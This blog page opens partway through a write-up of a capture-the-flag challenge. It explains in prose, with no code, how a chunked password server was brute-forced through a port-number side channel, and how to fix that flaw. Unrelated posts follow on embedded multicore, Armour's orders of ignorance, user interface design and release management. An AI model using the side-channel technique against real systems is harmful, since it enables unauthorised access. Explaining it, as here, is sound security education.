To make life more interesting, the password server had been firewalled, so that it could only be reached from another stripe-ctf.com server and in addition to this, the system has delays inserted safe to prevent timing attacks such that the main server always returned the success or failure of a password in a consistent time.

The Hack

We knew from previous levels, that we could launch our attack from the compromised level 2 server – so that was one part of the challenge solved.

Looking at the design of the algorithm, it was fairly obvious that the fundamental flaw was that by splitting the key into 4 chunks of 3 digits, it greatly reduced the possible combinations from 1012 to 103 which is feasible to attack by brute force.

The first attempt at cracking this involved finding the four servers by sweeping through the port numbers for a valid response and then attacking each of chunk servers in turn. While this worked locally – it failed on the stripe servers as the chunk servers were firewalled and could not be reached from the level 2 server…

By going back to the logs, we finally noticed the second flaw in the system. The main server split the 12 digits into chunks and submitted the chunks to the chunk servers in turn. However, if any of the chunk servers returned a failure, then for efficiency, the main server stopped checking and returned the result to the server specified in the webhook. This actually turned out to be the key flaw in the system, as the webhook could look at the successive client port numbers from the main server and work out how far along the system it had got (client port numbers are assigned sequentially – so the each call to a chunk server would use a port number – therefore the fewer port numbers used between calls indicated that the password failed early).

Therefore it became possible to brute force the first chunk by looking for a port difference of 2, the second chunk for a port difference of 3 and for chunk 3 a port difference of 4.

The Fix

Aside from the flaw in the system that reduced the possible combinations to a point where it became feasible to brute force the attack – the main flaw that allowed the attack to succeed was the shortcut of not submitting all the chunks to all the servers each time.
While this may have seemed like a good idea for computational efficiency, it proved to be the weak link that could then be exploited.

Conclusion

Hopefully this has been a useful and insightful article on the many ways that web applications can be attacked – just today Google published an article about how difficult content hosting on the modern web has become and if those sorts of players are struggling with it then it’s a very serious issue indeed.

You should sign up for our mailing list to hear about our latest blog articles and exciting new course offerings and if you have insight or alternative solutions we’d love to hear about them in the comments.

Can existing embedded applications benefit from Multicore Technology?

June 15th, 2012

It feels that not a day goes by without a new announcement regarding a major development in multicore technology. With so much press surrounding multicore, you have to ask the question “Is it for me?” i.e. can I utilise multicore technology in my embedded application?

However, from a software developer’s perspective, all the code examples seem to demonstrate the (same) massive performance improvements to “rendering fractals” or “ray tracing programs”. The examples always refer to Amdahl’s Law, showing gains when using, say, 16- or 128-cores. This is all very interesting, but not what I would imagine most embedded developers would consider “embedded”.  These types of programs are sometimes referred to as “embarrassingly parallel” as it is so obvious they would benefit from parallel processing. In addition the examples use proprietary solutions, such as TBB from Intel, or language extensions with limited platform support, e.g. OpenMP. In addition, this area of parallelisation is being addressed more and more by using multicore General Purpose Graphics Processing Units (GPGPU), such as PowerVR from Imagination Technologies and Mali from ARM, using OpenCL; however this is getting off-topic.

So taking “fractals”, OpenMP and GPGPUs out of the equation, is multicore really useful for embedded systems? Read more »

The Five Orders of Ignorance

December 30th, 2011

It’s not often you read a paper that has something unique and fresh to say about a topic, and expresses it in a clear and concise way.

Somehow, Phillip Armour’s The Five Orders of Ignorance had eluded me, until I found it referenced in another paper.

It really is an interesting point of view on software development.  You can read the paper here.

Armour’s central tenet is software is a mechanism for capturing knowledge. That is, (correct) software is the result of having understood, and formalised our knowledge about the problem we are developing.

Clearly, at each stage of the development process we have different levels of knowledge (or ignorance; the conjugate of knowledge) about our problem.  As we move towards delivery our knowledge increases; and our ignorance decreases – hopefully!

A stratified, or layered, model of ignorance gives a good measure of our progress through the development – in some ways a far superior model than the traditional time/artefact/activity–based approach.

Armour’s levels – or orders – of ignorance are as follows:

Zero Order Ignorance is knowledge; something we know and can articulate (in software)

First Order Ignorance is something we don’t know; a question we need an answer to.

Second Order Ignorance are the things we don’t know we don’t know.  That is, we don’t even know what questions to ask.

Third Order Ignorance is lack of methodology – we don’t have techniques, tools or processes that can identify and illuminate our lack of knowledge.

Fourth Order Ignorance means we don’t even know there are orders of ignorance!

(In many ways Armour’s work is a far more cohesive version of Donald Rumsfeld’s infamous “Known Knowns” speech.)

Armour’s paper crystallised a couple of very important points to me:

Why requirements analysis is so vital.

For nearly the last decade I have been promoting the importance of requirements analysis as a key part of development.  If we understand the problem we are meant to solve – completely and with precision – developing a solution in software is relatively straightforward. 

It’s heartening that most engineers are actually pretty good at developing solutions. But they’re not really very good at understanding problems. When people call me in to help with ‘design issues’ it’s most commonly the case they don’t actually understand their problem properly. Usually, I help their ‘design’ skills by doing detailed requirements analysis with them!

I have found the teams that spend most time performing requirements analysis spend the least time designing and debugging and have the most comprehensive and maintainable solutions.  This is because their software captures the system knowledge efficiently and their code isn’t riddled with what Armour calls ‘unknowledge’ – irrelevant, or incorrect knowledge about the system captured as code (you know, the stuff that leads to ‘features’!)

What process is all about.

Processes are a technique to give you questions, not answers. I think this upsets many developers (and their managers).  Many people want handle-turning solutions: Feed in some customer requirements, crank the handle, and out comes lovely, pristine software. 

Unfortunately, but the world doesn’t work like that.  If it did, we’d all be replaced by machines (that’s been threatened since the Sixties and it hasn’t happened yet. I’m not holding my breath, either.) 

Every software problem is unique and full of those delicious little subtleties that make our jobs as embedded developers so interesting (and yes, you can take ‘interesting’ in the sense of the old Chinese curse!) There is simply no way you can mechanise the behaviours needed to elicit, understand and formalise all the knowledge required to develop a typical embedded system.

Most approaches to software process description assumes software development is a (linear) mechanical process; and the (procedural) transformation of input artefact to output artefact will (somehow) produce working software.  Whilst this approach works for other manufacturing processes it cannot deal with the simple fact that software development is about knowledge capture and, well, we often don’t know what we don’t know!

The best processes are those that consist of a set of goals and a corresponding set of methodologies.  The goals effectively give you an appropriate set of questions that must be answered before you can continue; the answers to those questions will yield pertinent information about the system. 

One could argue the artefacts are supposed to embody the appropriate design questions but engineers are notorious for simply filling in the blanks with banal waffle just so they can move on to the interesting stuff – that is, hacking code (and learning about the system!)

More appalling user interface design

December 16th, 2011

I came across a wonderfully counter-intuitive piece of user interface design this week.

The room I was in had a sliding shutter (that, for reasons best known to the architects, opened into the main building and not outside).  The two halves of the shutter are controlled independently – that is, you can close one side or the other, or both.  Each shutter is controlled with independent switch panels.

Common sense would suggest a single rocker switch: pushing one side would close the shutter; pushing the other would open it.  The designers, however, had other ideas and selected the implementation below:

Annotated interface

 

Each shutter has a pair of single-action switches – one to close the shutter (the one at the top) and one to open the shutter.

Pressing the top switch (on its right hand side) closes the shutter – as expected.

Pressing the bottom switch on its left hand side (the intuitive action) does nothing.  In fact, you have to press the bottom switch on its right hand side to get it to do anything.

Even better, the switch panel for the right shutter is an exact copy of the the left; so the controls are completely opposite  – the top switch opens the shutter, the bottom switch closes it!

As they say:  good design is like oxygen – you don’t notice it until it’s not there.

Releasing Code

June 20th, 2011

The Release process

The Release process defines the actions required to deliver a software product to an external customer. The external customer is any entity outside the development department. This may be a true (paying) customer, or may be another engineering department, for example Testing or Production.

The Release process is a triggered activity. The trigger events are scheduled as part of project planning. Defining a release is a project milestone which must define

  • What will be released
  • When it will be released
  • Who it will be released to

 

Release process relationships

The Release process is related to, but independent of, the Change Management, Revision Control and Build Processes.

 

image

Figure 21 – Release management is related to, but independent of, the other CM practices

Change Management

Defines the modifications and/or additions to the product, the order in which the changes are incorporated.

Revision Control

Ensures the configuration of the product is controlled and reproducible.

Build Process

Defines how to build the product.

Release Process

Defines the target recipient of the product.

 

Software release stages

During development the product may be released:

  • To different standards
  • To different customers

The different releases comprise a release lifecycle, with each stage representing an improvement in product quality (Figure 22).

 

image

Figure 22 – Each release type represents a different level of quality, and may be released to different customers
 
Development releases

Development releases are internal releases; usually to (independent) test. These releases are unlikely to be ‘feature-complete’; often the release represents one or more work packages (or, in the case of Agile projects, features or ‘sprints’).

It is not expected that these early releases are perfect. It is likely they have only undergone developer testing. A significant number of bugs can be expected in early releases.

Development releases may be produced at high frequency. Weekly releases would be expected at the beginning of development, possibly rising to daily as the project enters a debug phase.

Alpha and Beta

Alpha and Beta releases focus on usage and/or useability testing. Sometimes these are known as Technical Preview releases. The product may be feature-complete (or close) at this stage. Alpha/Beta releases are relatively stable and should contain no (known) critical bugs.

Alpha testing consists of simulated or actual operational testing. It is normally carried out in-house and performed by non-development users, for example internal proxy-customers (staff acting on behalf of the ‘real’ customers).

Beta testing is also operational testing. It is often performed out-house (that is, outside the control of the development organisation). It is carried out by focus groups, or specially selected users. Very often Beta releases are made available free to existing customers to use and test in their own environment.

It is important not to begin Alpha and Beta releases too early in the development cycle. Although allowing users to test the product is potentially very effective a product with many bugs (particularly in areas of key user functionality) can lead to a loss of confidence in the product that is very difficult to recover.

Production-ready releases

The term Release candidate refers to a version with the potential to be a final product. It is essentially ready to release unless fatal bugs emerge during final testing (or possibly Alpha or Beta testing). The product features all designed functions and no known critical bugs.

A Production release is very similar to a Release Candidate ( in fact, it could be argued the Production release is just the final release candidate!). Any last minute bugs fixed. The Production release represents final product quality and features, and it the release sent to Production engineering.

%d bloggers like this: